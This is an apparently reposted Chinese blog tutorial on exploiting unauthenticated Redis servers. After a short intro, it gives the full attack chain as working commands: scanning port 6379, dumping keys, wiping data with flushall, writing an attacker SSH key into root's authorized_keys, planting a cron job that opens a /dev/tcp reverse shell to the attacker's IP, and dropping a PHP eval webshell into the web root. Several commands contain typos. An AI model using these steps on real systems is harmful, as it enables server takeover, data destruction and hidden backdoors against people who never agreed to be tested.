Redis未授权访问

本文详细解析Redis未授权访问的安全风险,包括被利用进行恶意操作的可能,如数据删除、服务器权限获取及挖矿等。并通过具体案例,如minerd挖矿程序,展示攻击流程,涵盖端口扫描、敏感信息获取、数据删除、SSH公钥注入、反弹Shell及webshell植入等环节。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

应用介绍:

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

redis教程

漏洞简介:

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。

如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

可导致服务器权限被获取和数据删除。

案例:minerd挖矿程序

攻击复现:

获取主机端口开放信息

Redis默认使用6379端口,使用nmap对服务器进行扫描

nmap -A -p 6379 --script redis-info 目标IP

Redis未授权访问获取敏感信息

Nmap扫描后发现主机的6379端口对外开放,就可以用本地Redis远程连接服务器(redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。

./redis-cli -h 目标IP
info

可以看到Redis的版本和服务器上内核版本信息,如果是新版的Redis2.8以后的版本还可以看到Redis配置文件的绝对路径

可以查看里面的key和其对应的值

key *
get key

Redis删除数据

flushall 删除所有数据
del key 删除键为key的数据

写入ssh公钥,获取操作系统权限

原理

在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

首先在自己的电脑上生成key:

ssh-keygen -t rsa

将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | ./redis-cli -h 目标IP -x set xxx

连接目标主机的Redis:

./redis-lci -h 目标IP

设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

config set dir /root/.ssh
config set dbfilename autorized_keys

将数据保存在服务器硬盘上(缓存里的数据key.txt)

save

这时候用ssh远程连接:

ssh 目标IP

不用密码就可以直接远程登录

反弹shell

原理是和写公钥一样的,只是变换一下写入的内容和路径,数据库名。

首先在客户端这边监听一个端口

nc -l 8886

连接redis,写入反弹shell

./redis-cli -h 目标IP
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击IP/8886 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

在web目录下写入webshell

通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。

远程连接redis,写入webshell

./redis-cli -h 目标IP
config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['wintry']);?>\n\n\n"
config set dbfilename webshell.php
save

来源:Redis未授权访问详解

转载于:https://www.cnblogs.com/wintrysec/p/10875215.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值